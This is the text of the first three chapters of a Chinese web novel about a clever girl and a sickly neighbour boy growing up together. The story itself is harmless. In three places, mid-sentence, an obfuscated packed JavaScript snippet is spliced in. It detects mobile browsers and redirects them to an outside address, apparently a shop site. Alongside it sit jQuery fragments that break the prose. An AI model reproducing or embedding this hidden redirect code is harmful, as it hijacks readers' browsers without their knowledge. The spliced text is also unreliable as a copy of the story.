《玻璃尾巴》 1. 01 《玻璃尾巴》 听鹿/作品 晋江文学城独家发表 - “妈妈,今天有人在偷偷看我。” 秦杳小朋友咬着雪糕,冷不丁地冒出这么一句话。 付韵秋吓得出了一身冷汗,脑海里瞬间浮现十万八千种电视剧里会出现的绑架情节,正念叨着该不会是人贩子吧,杳杳想了想,回答妈妈:“不是。” 她犹然记得,男生的脸色透着点病态的白,他额头贴着玻璃,手心也紧扒着窗,那双黑亮干净的瞳底充斥眼巴巴的渴望,他似乎也没想到她会忽然看过去,就这么呆呆的,唇也微微张着,仿佛是怔住了,瞧上去有些傻—— 像困在水晶球里的漂亮小王子。 付韵秋这才反应过来她说的是谁,晚上秦朗南下班回家,她与丈夫提了这件事。 杳杳看到的小男孩儿,大概就是住在他们楼下,陈家的大儿子。 两家人的关系并不熟络,只是偶尔在电梯里碰见,看到对方也挺着个肚子,会礼貌关心两句。 直至快到预产期,秦朗南在医院遇到了陈先生,这才得知他太太早产,生了双胞胎,而大的那个胎弱,还在重症观察室。 同为母亲,付韵秋觉得揪心。 后来她生了杳杳,坐完月子出院,陈家的大儿子还在医院。 随着孩子一天天长大,他们有时会遇见陈太太带着小儿子回家,而大的那个,始终没有露过面。 只是听说他们一家三天两头地往医院跑,付韵秋和丈夫也就猜到,大概是孩子又生病了。 为人父母,最心疼的就是孩子生病—— 付韵秋的目光忽然扫向杳杳手中的雪糕,小姑娘也不知道什么时候偷偷拆的,第二支了。 她严肃阻止:“吃多了会生病的。” 雪糕被塞给秦朗南解决,顶着女儿哀怨的目光,他笑呵呵地咬了一大口:“妈妈说得对。” 杳杳:“......” 秦杳每天要做的事情可太多了,上幼儿园,帮老师管管那些爱哭鬼,回家要和她黏人的爸妈分享一天的日常,每天看两个小时的书,周六要去学跳舞和钢琴,以至于很快将那“水晶球里的小王子”抛之脑后。 只不过,付韵秋和秦朗南还是有点担心,因为他们发现,自己的女儿似乎有点“孤僻”。她不爱和其他小朋友一起玩,放假了,她宁可窝在家里看书也不愿意和他们一起玩滑梯。 原以为是杳杳受到了欺负,谁料她像个小大人似的说:“玩得脏兮兮的,我不喜欢。” 小姑娘纯属是有洁癖,不喜欢这么多人一起玩滑梯,也不喜欢在沙子堆里滚来滚去,更不喜欢跑的满头是汗。 而他们也发现,女儿是真的喜欢看书,还喜欢看各种竞赛类的节目,而各种兴趣班,还是杳杳主动要去上的,乖到让家里的亲戚羡慕。 到了上小学前的暑假,除去上兴趣班,其他时间,秦杳都是自己在家待着,只是在爸妈都去上班后,她会偷偷拿着压岁钱出门—— 去买零食吃。 这大概是她唯一“不听话”的时候了,付韵秋不让她吃零食,而秦杳总是嘴馋。 她特别机灵,会选择小区外头,较远那家便利店,这样爸妈也不容易查到。回家后,还会好好刷牙,以免被爸爸闻出来。 这天她照常偷吃后回家,解了馋瘾,正悠悠哉哉地看书,付韵秋下班回来,忽然接了一通电话,脸色严肃,让杳杳心里一顿虚。 “妈妈出去一趟,你自己在家里好吗?” 秦杳松了一口气,却还是懂事地问是什么事情。 付韵秋向来不会把她当成什么都不懂的小孩子,她换着鞋说:“你之前看到的小男生,就是楼下陈阿姨的儿子不见了,妈妈和爸爸去帮忙找找。” 虽说和陈家不是那么熟络,可孩子丢了是大事,她和秦朗南都想帮帮忙。 秦杳的脑海里浮现那个漂亮的小王子,像条小尾巴似的跟在她身后:“我也要去找人。” 付韵秋想了想,蹲下身说:“那你跟着妈妈可以吗?” 秦杳答应了,走下楼后才发现,有许多邻居都在自发性地帮忙找人,而那位陈阿姨早就哭红了眼。 天色渐暗,还没有找到人。 秦杳有点饿了,晃了晃付韵秋的手,问她能不能去买点吃的。 付韵秋正和其他邻居安慰陈太太,叮嘱她买完就回来。 小区内的超市没有秦杳想吃的东西,她走出小区,还未走进那家常去的便利店,就瞧见了坐在蘑菇灯下的漂亮男孩儿。 秦杳只看了一眼便收回视线,买下最后一个黄油面包,她走出便利店,却没有直接离开,而是在男孩儿面前蹲下身,咬了口面包,目光却直勾勾地打量着他。 “你的爸爸妈妈在找你。” 陈寓年茫然地抬起眼,乌黑明亮的眼里透着湿淋淋的水光,见到是她,瞳孔微微一缩,秦杳歪了下脑袋问:“你认识我?” 他点头,又摇头。 “你为什么不回家,是不记得回家的路了吗?” “.....” 杳杳想到妈妈说的他身体不好,她心里疑惑,不会说话,是笨蛋还是小哑巴? 这么想,她又咬了一口面包。 陈寓年一天没吃东西了,虽然刚哭过,还鼻塞,可他还是不自觉地动了动鼻子,盯着她手中的面包,潜意识中觉得一定很香,很甜软。 杳杳没有错过他咽喉咙的动作,看在他长得漂亮的份上,她从自己没有咬过的地方,揪了一小块递到他面前—— 也不知道是饿极了,还是秦杳直接送到他嘴边的缘故,蘑菇灯下,他条件反射,又急不可耐地张嘴就着小女孩儿的手咬了下去。 他的动作其实已经潜意识地小心,齿牙只是轻轻碰到,席卷面包的一刹那,却有片刻陌生的湿软倏地裹住杳杳的手指,一股怪异的酥麻感涌了上来,就像是.....被小狗舔了一口。 杳杳忍无可忍,他长得再好看也没用! 手中剩余的面包被捏成一团,她两眼冒火,一拳头猛地捶向他的脑袋,生气质问—— “你干嘛舔我!” 陈寓年痛得瞬间鼻酸,懵懵地摸着脑袋,嚼面包的动作也停住了,就这么忍着痛,茫然又可怜地看向面前不高兴的女孩子。 秦杳正臭着脸擦手,只听耳边传来一声很轻的吸鼻音,她的目光落进一双湿漉漉的黑眸里。 他似乎是在忍着眼泪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882861|191965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼尾泛红,瞧上去有点可怜。 两人就这么对视几秒,他垂下脑袋,晶莹的泪珠啪嗒啪嗒地往下掉,哭到男孩的睫毛都湿了。 “不许哭!” 杳杳命令他,他像是被吓到了,憋了半晌,那双湿漉漉的眼眸小心翼翼地看向她,开口时,还带着点鼻音:“对不起....” “如果你还生气的话....”他在心里猜测着女孩生气的原因,咽下哽咽,讨好地试探道:“要舔舔我吗——” “bang!” 陈寓年又被揍了。 他不敢说话了,就这么默默嚼着没吃完的面包,时不时地吸下鼻子,安安静静地掉着眼泪。 秦杳三口吃完剩下的面包,终于劝服自己不要和这个脑子不太好的男孩计较。 想到家长们正在担心,她问他:“你是被人贩子拐跑的吗?” 男孩似乎完全不在意自己刚被揍过,沉默一瞬,摇了摇头。 “那你是离家出走吗?” 他又一次摇头。 他什么都不知道,杳杳干脆换了个话题问:“你几岁了。” “六岁。” 杳杳有些奇怪:“那为什么我在幼儿园里没有见过你。” 他垂着脑袋,像低落无家可归的小狗。 妈妈说过,每个人都有自己的秘密,秦杳正想换个问题,男孩抽噎着,低低开口:“他们不让我上幼儿园。” 因为身体不好,爸爸妈妈甚至不让他出门。 他每天只能扒着窗户,看楼底下的小孩玩。他很羡慕弟弟,很羡慕能跑出去的小朋友。 杳杳慢吞吞地哦了一声,“那你会上小学吗?” 男孩儿白净的脸上还挂着泪珠,他点点头。 “没关系,幼儿园一点儿都不好玩。”秦杳像个小大人似的告诉他:“他们都好幼稚的,只会玩老鹰捉小鸡这种小朋友才玩的游戏。” 陈寓年呆呆地看着她:“你不是小朋友吗?” 杳杳特别自信地告诉他:“我不一样,我很聪明。” 陈寓年不懂,可是看着她,他就觉得她说的是真的。 两个小萝卜头就这么坐在一起,一个敢说,一个敢听,到最后,杳杳拍了拍他的肩膀说:“等上小学,你跟着我,别怕。” 陈寓年觉得她好厉害,虽然眼眸还湿漉漉的,却不哭了,他露出了笑,才刚刚嗯了一声,杳杳忽然补充道:“但是不能再舔我的手。” “.....” 不远处有熟悉的呼喊声,秦杳听出了妈妈的声音,她从凳子上下来,却察觉到什么,回头,目光落向紧巴巴拽着自己衣摆的那只手。 她视线往上,触及男孩湿红的,漂亮的黑眸,他唇线抿直,就这么可怜又局促地看着她。 杳杳一向是个讲信用的好姑娘。 她很主动地牵起男孩的手,“我不是说了吗,你跟着我走。” 稚嫩的言语之间,尽是令人信赖的安全感。 只是....她的手劲儿好大哦。 仿佛再用力点,都能把他的手折断。 陈寓年在心里偷偷想着,身体却很顺从地跟着她走,目光也呆呆地望着女孩儿的侧脸,丝毫没有任何挣脱的动作。 2. 02 杳杳很诚实地告诉爸爸妈妈,陈寓年是被她揍哭的。 两方的家长都惊了,一个猜测是不是自家儿子惹恼了人家小姑娘,而付韵秋夫妇则是担心,杳杳学过跆拳道的,这陈家小孩会不会被自己女儿揍坏啊。 得知了来龙去脉,双方才松了一口气。 事后陈家人特地上门送礼感谢,也是因此,两家人的关系渐渐好了起来。 小学开学,因为又生病,陈寓年请了一周的假。 双胞胎弟弟陈嘉弋每天回家都和他分享学校里的事,陈寓年只是巴巴地问:“杳杳呢杳杳呢杳杳呢?” 陈嘉弋和杳杳根本不是一个班的,他鹦鹉学舌:“不知道不知道不知道。” “.....” 终于到了去学校那天,陈寓年失落地发现,杳杳身边坐了别人。 他的位置在杳杳斜后方,男孩儿双手托着脸颊,一眨不眨地看着她。 上课时,他看见杳杳坐得端端正正,双手放在桌上,很认真地看着老师,于是他也学着杳杳的坐姿。 下课后,杳杳喝水,他也喝水。 她晃了晃腿,他也跟着晃。 她打哈欠,他也捂嘴。 杳杳去洗手间,他也顺便去。 陈嘉弋从隔壁班跑过来看他,“你今天上课怎么样?” 陈寓年看上去有点小难过:“我想和杳杳做同桌。” 陈嘉弋有心照顾自己的病秧子哥哥:“....除了这个呢?身体有没有不舒服。” 陈寓年却问:“我怎么可以和杳杳做同桌?” “....不知道,我带了小零食,你要不要吃?” 陈寓年终于充满期待地看向他:“有黄油面包吗?杳杳喜欢吃。” “.....” 陈嘉弋不想和他说话了,跑回了自己教室。 到了下午,陈寓年终于如愿以偿和杳杳说上话了。 “杳杳!” “你要叫我班长。” 杳杳纠正他,小姑娘还真有几分班长的样子,净白的小脸上满是认真。 陈寓年呆了呆,却还是听话地点点头:“班长。” 杳杳扬着下颌嗯了一声,“你需要班长帮什么忙?” 陈寓年蹲在她身边,仰着视线,巴巴地说:“我想和你做同桌。” 杳杳没有第一时间拒绝,而是认真想了想,才回答:“这是老师安排的,我们要听话。” 陈寓年顿时耷拉着脑袋,却还是不死心地问:“那怎么样才可以和你做同桌?” 杳杳班长托着腮,装作很懂地样子说:“我们来学校就是学习的,可能你学习好了,就能和我做同桌。” 陈寓年很相信她说的所有,回到位置,他握拳暗暗中二病地发誓,一定要好好学习。 放学后,他像条小尾巴似的跟在她身边:“现在我可以叫你杳杳了吗?” 女孩子娇矜地点点头,陈寓年顿时笑了,清脆地喊了她一声杳杳。 “那我们可以一起回家吗?” 杳杳当然记得说过要他跟着自己的话,再加上有班长的职责在,她毫不犹豫地答应了:“当然可以。” 杳杳牵住他的手,两人一起去找陈嘉弋,见人出来,陈寓年兴奋地招了招手。 三个小朋友手牵着手走出校园,今天晚上陈家请吃饭,秦朗南与陈柏良在等小孩的时候,就站在一起聊了好一会儿。 晚上,陈寓年想坐在杳杳身边,秦朗南笑着打趣:“你这么喜欢我们家杳杳啊?” 好多人,男孩似乎还有点害羞,可杳杳也在看他。 他耳廓微红,却还是诚实地点了点头:“喜欢!” 几个大人笑了起来,付韵秋打探杳杳的想法:“年年喜欢你哎。” 本以为小姑娘会害羞,却见她那张漂亮小脸一本正经的:“妈妈,我这么好的宝宝,有人喜欢不是很正常的吗?” 他们都被小姑娘可爱到了,陈寓年也是,他觉得自己的心脏热热的,跳得也很快,很开心地和弟弟说悄悄话:“你喜不喜欢杳杳,杳杳真可爱。” 因为哥哥身体不好,陈嘉弋总是在潜意识中,觉得自己比哥哥要成熟一点点,虽然他也只有七岁。 他故作老成:“笨蛋,喜欢是要对未来老婆说的,不能随便对女孩子说。” 陈寓年眨了眨眼,心想,他才没有随随便便。 除了妈妈,他最喜欢的女孩子就是杳杳了—— 什么老婆不老婆的,他不懂,他就是觉得杳杳真可爱。 吃完饭,杳杳和陈嘉弋托腮看陈寓年喝药。 被两人盯着,他要面子的没有露出一丝被苦到的表情。 “你的病什么时候能好起来?” 杳杳忽然问。 他低落地摇摇头:“我不知道。” 陈嘉弋:“妈妈说好好喝药,长大了就会好起来。” 杳杳看向他:“所以你中午来我们班,是监督陈年年喝药吗?” “不是!” “是!” 陈嘉弋瞥了眼要面子的某人:“我要照顾我哥。” 陈寓年怕杳杳觉得自己是不乖乖喝药的坏孩子,紧张辩解:“我自己会喝的。” 但杳杳却双手托着脸说:“那以后,我也监督你喝药。” 陈嘉弋看她:“他是我哥。” 杳杳想了想:“我们一起照顾陈年年,多一个人照顾,说不定陈年年可以快点好起来。” 陈嘉弋思考着她的话,没一会儿就点头答应了。 陈寓年也很开心。 “那我今年的生日愿望,就希望陈年年的病能好起来。” “我也要许这个愿望。” “我们的愿望重复了,老天会不会不答应啊?” “应该不会吧,我妈妈说,真诚的小朋友,愿望都可以实现的。” 三个小萝卜头坐在一起,叽里咕噜地聊着。 而边上瞧着他们的几位大人在不知何时安静了下来,望着孩子的眼里满是欣慰。 陈柏良将流泪的妻子揽进怀里,付韵秋拍了拍蒋梦溪的手安慰:“年年会好起来的。” 两家人的关系越来越好,偶尔,陈柏良夫妻工作繁忙,秦朗南会把三个孩子一起接回家,等吃完饭,几个小朋友坐在一起写作业。 杳杳和陈嘉弋都特别喜欢看书,陈寓年有时候会跟着他们一起看,但大部分时候,他吃完药都会犯困,迷迷糊糊间就靠在两人中间睡着了。 几个孩子逐渐成为特别好的朋友,暑假,杳杳特别忙,除了补习班,还去参加了儿童智力比赛。 付韵秋其实特别担心她有压力,但小姑娘很淡定,还反过来安慰她。 晚上两家人一起吃饭,蒋梦溪最开始还以为补习班是秦家夫妇要小孩去上的,却没想到是杳杳主动提的,包括智力比赛也是小姑娘自己想参加。 她不由望向自己的两个儿子,一左一右,正帮小姑娘按肩,大的那个还特别起劲地问:“杳杳大王,要不要重一点?” 小姑娘捧着书,淡定自若:“要,谢谢。” “好!杳杳,我们相信你一定可以赢的。” “....为什么我也要跟着一起按?” “多一个人,多一个力量呀!嘉嘉你不许偷懒。” “.....” 蒋梦溪叹了声气,心想罢了罢了,活着就行。 杳杳也是真的特别厉害,一路闯进决赛,最后拿了个一等奖回来。 这个大赛是央视创办的第一届,杳杳表现出色,最后还被采访了,小姑娘一战成名,甚至是,她的海报贴在了小区的便利店里头。 新学期开学,她还被当众表扬。 杳杳觉得自己就像颗大钻石,但她也丝毫没有害羞,每当被家长夸奖,她总是挺直腰板,还会特别礼貌地说声谢谢。 她又陆陆续续地参加了几个比赛,除此之外,她的学业成绩依旧第一。 只是付韵秋发现,女儿最近心情不太好。 她以为是杳杳压力太大了,那个晚上,她敲了敲小姑娘卧室的门,在得到她的同意后进屋,打算和女儿聊聊。 但杳杳告诉妈妈,她并不是压力大,她很喜欢学习,喜欢在赛场上打败别人,喜欢解各种的题目。 “那为什么不开心?” 小姑娘低着头,她很少会流露出这样难过的,低落的情绪。 付韵秋很心疼,杳杳开口时,带了些委屈的鼻音:“他们都不喜欢我。” 在她的解释中,付韵秋猜到了其中的原因。 小姑娘很优秀,成了家长口中“别人家的孩子”,许多大人,会用杳杳来和自家孩子比。 可谁喜欢总是被打压呢? 谁喜欢听父母说,你看看那个杳杳为什么可以,为什么你就不可以。 久而久之,她班上的同学都不想和她说话了。 “除了陈年年和陈嘉弋。” 只有他们,下课就会跑来找她。 陈年年依然会想和她牵手,依然会说杳杳大王你好厉害,而陈嘉弋也会和以前一样向她请教不会的题目。 杳杳不懂,为什么同学要满眼厌恶地避开她,为什么要当着她的面说“我不想和你玩”,她明明没有炫耀,为什么要说她好装。 小姑娘第一次经历这种事情,委屈地掉下了眼泪,付韵秋抱着她,只觉得心疼。 等杳杳情绪平复了,付韵秋想安慰,小姑娘却擦干了眼泪,先一步说:“他们不喜欢我,我也不要喜欢他们。” 她的眼睫还湿漉漉的,却倔强的,眼巴巴地看着付韵秋:“妈妈,我很棒,我拿奖,这些都不是我的错,对不对。” 付韵秋嗯了一声,亲了亲自己的宝宝:“对,杳杳没有错。” 小姑娘止住了眼泪,很认真地说:“那我才不要因为别人的眼光改变自己呢,我还要好好学习,要跳舞,要学钢琴,要参加比赛。” 付韵秋的心软的一塌糊涂,心疼之余,还是引导性地问:“那宝宝会不会讨厌他们,会不会觉得,自己比所有的小朋友都厉害,会....” 她担心的,是杳杳会变成一个傲慢的,一个因为他人的排挤,就变得极端的小姑娘。 但杳杳抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882862|191965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着妈妈,糯糯地还带着些鼻音:“我才不会呢。” 她没有炫耀过,没有觉得自己比所有人厉害,没有看不起别的小朋友,更没有做错事,所以—— “他们不喜欢我,那是他们的事情。我才不在意他们,我只在意妈妈,爸爸,爷爷奶奶,外婆家的小狗黄黄,陈年年,陈嘉弋.....” 小姑娘掰着手指说了好多自己在乎的人,最后,她又变回了那有点傲娇的小模样:“我在乎的人这么多,别的人,我才不会理他们呢。” 付韵秋都被女儿说哭了,亲着她喃喃:“妈妈真幸运有你这样的好宝宝。” 杳杳并不是安慰妈妈的,她是真的调整好了自己的情绪。 在班上,她不再因为别人而难过,依然好好学习,依然每天监督陈年年喝中药,放学后三个人一起回家。 付韵秋其实很担心女儿,偷偷拜托陈寓年和陈嘉弋陪伴杳杳。 陈寓年特别清脆地承诺:“我永远不会讨厌杳杳,我会一直跟着杳杳的!” 陈嘉弋也默默点头。 就是陈寓年有几次生病请假,他也要巴巴地问杳杳今天怎么样。 回到家,他咚咚咚地跑上楼,礼貌地敲门,直到和杳杳见面说上话才放心。 而杳杳总会像个小大人似的叮嘱他:“好好喝药,好好学习。” 直到有次考试结束,杳杳发现自己的同桌严芯偷偷在哭。 她发了一会儿的呆,别别扭扭地给女孩子递了纸巾。 严芯也是被她这个“别人家的孩子”严重打击过的,显然也没想到她会主动递纸,但最终还是默默接了过去。 “你怎么了?” 过了好半晌,耳边忽地冒出一个问题。 她抽抽噎噎地看向自己的同桌,盯着女孩子的侧脸,脑海中不有想到父母训斥的话,她没忍住:“考差了,我爸爸妈妈又要骂我了。” 杳杳依旧淡淡的模样,却伸手问她要卷子:“我教你。” 严芯还呜呜哭着:“成绩都出来了,现在教我也没用了。” 杳杳明亮的眼里透着些执拗:“那就现在学会,下次考好成绩。” 严芯抽搭搭的:“可是我很笨的,我爸爸教我很久我都不会。” 秦杳的脸上没有露出任何犹豫的情绪,她摆出一副小老师的模样,“没关系,我很聪明的,我能教会你。” 严芯觉得这话哪里怪怪的,却琢磨不出来。 却没想到听着听着,她真的会解题了,原来秦杳不是说大话。 到最后,小姑娘别别扭扭地和秦杳说了声谢谢。她以前因为爸爸妈妈很讨厌秦杳,但现在发现....她真的很厉害,也好善良哦。 秦杳装作不在意地说了声没关系,可那一天,她的心情特别好。 而在这之后,陆陆续续地有其他有同学会鼓起勇气来问她问题,杳杳看向同桌,严芯别别扭扭地:“她们觉得你厉害才问你的。” 杳杳哦了一声,可无论是谁来,她都会特别认真地教。 这个年纪的小孩,又能有多大的厌恶恨意呢。 渐渐的,很多同学都放下了偏见,她们会谢谢秦杳,也会夸她厉害。 杳杳总是淡定地点点头,说不客气,可在她们走后,她盯着书本,忍不住翘起了唇。 ——杳杳,谢谢你。 ——杳杳,你好聪明啊,这都会。 ——杳杳,你上电视台的时候不害怕吗?你好厉害啊。 她很厉害,嘿嘿。 她教会了好多人,嘿嘿嘿。 他们夸她,他们不讨厌她,嘿嘿。 好开心,她的同学,也都超可爱呢! 秦杳杳有点偶像包袱,没有在别人面前表露出自己的开心,唯独,陈寓年发现了。 他没事儿就双手托脸看杳杳,也逐渐琢磨出她所有的情绪。 原来....杳杳喜欢听夸奖啊。 她笑起来好可爱哦。 可是以前他夸她的时候,她有笑吗? 陈寓年忽然开始琢磨着这件事,就这么一直想到了放学,秦杳来找他时,他还没回过神。 “你在想什么?” 陈寓年盯着女孩子白净漂亮的小脸,心里话就这么冷不丁地冒了出来:“我觉得你真可爱。” “.....” 杳杳淡定地哦了一声:“谢谢。” 擦肩而过之际,陈寓年敏锐地发现女孩子的唇角似乎扬起了很浅很浅的弧度。 她在笑! 陈寓年也笑了,他开心地跟了上去,盯着她藏起来的笑容,再一次大声夸道:“杳杳,你太可爱了!” “.....” 饶是杳杳这样淡定的小姑娘,也被他声声的夸奖闹得脸都烫了。 她怒瞪他:“你不许说话了!” 陈寓年没有错过她的笑,点点头,可是心里却仿佛有什么热乎乎的,荡漾着让他也觉得好开心。 杳杳真可爱啊。 才刚走出教室的陈嘉弋看到他哥笑得一脸不值钱的模样,心里浮现疑惑—— 这是又病了? 3. 03 陈寓年是先天性体弱,喝药已经是常态。 但他很懂事,有好好听爸爸妈妈的话照顾自己,只是,他也会很羡慕别的小伙伴。 体育课,他总是孤零零地坐在大树下,看别人奔跑,看他们玩的满头是汗。 但他知道自己不可以,病弱的身体让他没办法与别人一起玩,万一,万一他出事了,会吓到同学。 他装作若无其事的样子,每天依旧笑盈盈的,会听话,会笑着逗妈妈开心,会去找杳杳,但偶尔晚上,他会悄悄问陈嘉弋:“你们体育课的时候,都玩什么?” 陈嘉弋一一告诉他,陈寓年羡慕:“好玩吗?” “不好玩。”陈嘉弋是个书呆子,他不喜欢跑来跑去。 听了弟弟的话,陈寓年心里的难过少了许多。 后来他问杳杳,她也说不好玩。 “跑来跑去,臭烘烘的,满头大汗,而且超累的,我才不喜欢。” 杳杳有洁癖,讨厌出汗,而最讨厌的一点她没有告诉陈寓年。 她不喜欢被人追上抓住的感觉,好无聊,好幼稚。 陈寓年特别听杳杳的话,她都这么说了,他心里的自卑失落缓解了不少,还高高兴兴的,特别真诚地对女孩子说:“但杳杳你放心,我觉得你香香的,你一点都不臭。” “.....陈寓年我再也不想和你说话了!” “......” 陈寓年对杳杳的信赖,甚至是到了黏人的程度。 蒋梦溪还问过他:“你为什么这么喜欢杳杳?” 他想了想,诚实地说:“不知道。” 或许是因为,在杳杳不认识他时,他就从窗户里看到过她了。 或许是因为那天晚上,她是第一个找到他的人。 或许是因为她力气特别大地牵住了他的手,或许是她不嫌弃他总是生病,或许是因为她说过,要他跟着她—— 总之,他不懂,也不想去懂。 平时写作业就已经够费脑子了,他只知道,杳杳好,杳杳聪明,跟着杳杳准没错。 陈寓年想到前两天学到的一个词,对蒋梦溪道:“妈妈,你说我和杳杳这是不是叫做,命中注定?” 蒋梦溪笑得不行,但她还是担心自家儿子给杳杳带来烦恼,便和付韵秋聊了两句。 女人听完也笑了,完全不觉得年年烦人:“多可爱啊。” 晚上,付韵秋问杳杳:“会不会讨厌年年,会觉得他总是生病,不喜欢他?” 小姑娘却特别认真地对她说:“妈妈,陈年年也想做个健康的小朋友,身体不好不是他的错,我为什么要讨厌他?” 付韵秋觉得她的女儿真是个宝贝,但还是有点好奇:“你为什么喜欢和年年在一起?” 杳杳老老实实地告诉她:“陈寓年长得漂亮。” 付韵秋和丈夫相视一笑,是了,他们的宝贝最喜欢漂亮好看的东西,每天都要臭美地挑选漂亮衣服,连袜子都要带花边的,最后要听见爸爸妈妈说杳杳今天真可爱,才会心满意足地决定出门。 只不过秦朗南有点儿幼稚地挑拨着:“那每个漂亮的小朋友,你都要对他们好吗?” 杳杳被这个问题难住了,她想了好久好久,半夜忽然掀开被子,哒哒哒地跑去爸爸妈妈的房间,手还抱着玩偶,就这么仰头问秦朗南:“爸爸会对每个漂亮阿姨好吗?” 秦朗南差点给他女儿跪下。 “爸爸的世界观里,妈妈最漂亮,第二是杳杳,其他的阿姨在爸爸的眼里都是模糊的。” 杳杳关心地问:“为什么?因为爸爸你老花眼了吗?” “......” 付韵秋笑得花枝乱颤,杳杳懵懵懂懂地看着他们,到最后,她心里才有个不太确定的答案,应该不会—— 因为她至今没有遇到比陈年年更漂亮的男孩子。 陈寓年完全不知道杳杳对他的高评价,他的生活,除了上学喝药看病,就是黏杳杳。 他一直没能和杳杳做同桌,却每天下课去找她。 严芯的爸爸妈妈说过,女孩子不能和男孩子走这么近,所以她会问:“你为什么要找杳杳,不找别人玩?” 陈寓年看了眼杳杳:“我和别人不熟。” “可你是男孩子。” 陈寓年有点着急了:“那我就变成女孩子!” 他可太想成为女孩子了,这样就能和杳杳手牵手去上厕所,排队的时候也能站在她身后—— 还有!女孩子可以抱在一起睡觉! 杳杳这个小学霸早早就在学习超纲的知识,对面前的笨蛋说:“你是男孩子,不可以变成女孩子的。” 严芯和陈寓年异口同声:“为什么?” 杳杳叹了声气,给两个笨蛋讲解着男生和女生的身体结构,陈寓年听着听着,完全忘了自己找杳杳是干什么的,到最后特别倾佩地说:“杳杳你真厉害,什么都懂。” 杳杳满脸淡定,但今天,又是好心情呀。 …… 春去秋来,杳杳的身边多了两道影子,其中最黏人的,叫陈年年。 三年级,学校组织春游。 陈寓年前段时间又病了,好不容易好些了,蒋梦溪还是担心,替他请了假。 所有的小朋友都去春游了,只有他没去。 如同曾经那般,他一个人孤零零地在家里,从窗户往下看,也没有熟悉的身影。 他想杳杳,想嘉嘉。 他不喜欢一个人,他也想和大家一起出去玩。 为什么他的身体总是出问题,为什么他总是生病。 他好像有点难过—— “陈年年!” 女孩儿的声音打断了他的小忧郁,陈寓年脸上还挂着眼泪,他呆呆的,只见秦杳先是探了个脑袋进来,春光潋滟,她踩着金灿灿的阳光,像是漂亮的蝴蝶在他的心里振翅。 杳杳来到他面前,直勾勾地盯着他脸上没擦干的眼泪,还有红彤彤的眼睛,开口就问:“你哭鼻子了?” 陈寓年羞赧地抹了把脸,还没有辩解,陈嘉弋不知从哪冒出来的,拎着他自己和杳杳大王的书包,幽幽飘过来一句:“他就是哭了,哥哥最爱哭了。” “我才没有!” 陈寓年怕杳杳嘲笑自己,觉得他没用,努力把眼泪擦干,但是看上去还是可怜兮兮的。 “你要不要吃黄油小面包?”杳杳忽然问。 自从知道杳杳喜欢吃这个面包,陈寓年家里其实有买,但好巧不巧,前几天吃完了。 “没关系,我们去小卖铺买。” 陈嘉弋瞥了杳杳一眼:“爸妈不让我们买零食。” 杳杳不以为意,而且她有经验:“偷偷吃嘛,不让他们发现就好了,陈年年,你吃不吃?” 陈寓年向来听杳杳的话,点头大声道:“吃!” “.....” 陈嘉弋没办法,只好跟着两人去。 买了黄油面包,三小只没有坐在便利店门口吃,而是去了公园的草坪上。 摊开付韵秋为她准备的餐布,再把书包里的零食倒出来,杳杳对他们说:“属于我们的春游野餐,开始!” 陈寓年有点懵,却见嘉嘉也是一脸淡定。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882863|191965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你们是特地回来,和我一起野餐吗?” 杳杳点点头。 她特地回来陪我。 陈寓年又有点想哭了,明明瘪着嘴克制了,却还是带着点哭腔:“为什么?” “因为你是我的朋友啊。”杳杳蹲在他面前,盯着他红红的眼睛,很认真地问:“陈年年,你这么爱哭,眼睛不会疼吗?” 陈嘉弋默默递了一张纸巾过去,也一瞬不瞬地看着哭鼻子的人。 陈寓年觉得有点丢脸,但他还是担心,吸了吸鼻子问:“老师会不会生气?叔叔阿姨会不会生气?” “已经和爸爸妈妈说过了。”陈嘉弋开口道。 杳杳点头,她没有说自己和陈嘉弋求了多久才让家长答应,她只是觉得,不能让自己的好朋友落单。 陈寓年觉得杳杳真是天使,嘉嘉也是个好人。 见他不哭了,杳杳拿出零食,不过陈寓年还是有点犹豫:“吃零食会生病的....” 秦杳杳有时就是个叛逆小孩,“偶尔一次没关系的。” 陈嘉弋皱着眉,还有点担心,他哥已经傻白甜似的点点头:“好!杳杳说没关系,那一定没关系的。” “.....” 这个阳光明朗的下午,三小只坐在草坪上进行“春游”。 陈寓年真的很开心,咬了一大口的黄油面包,笑着对杳杳说:“黄油面包真好吃。” 杳杳一脸那当然的傲娇模样:“黄油面包就是世界上最好吃的零食了,吃了黄油面包,心情也会很好。” “你说的对!” 陈嘉弋:“我不喜欢吃黄油面包。” “嘉嘉,你不要挑食。” “......” 陈寓年真的太开心了,甚至到了晚上,他翻来覆去睡不着,就找陈嘉弋聊天。 “嘉嘉,我怎么样才可以每天和杳杳在一起呢?” 杳杳对他真好。 他想每天见到杳杳。 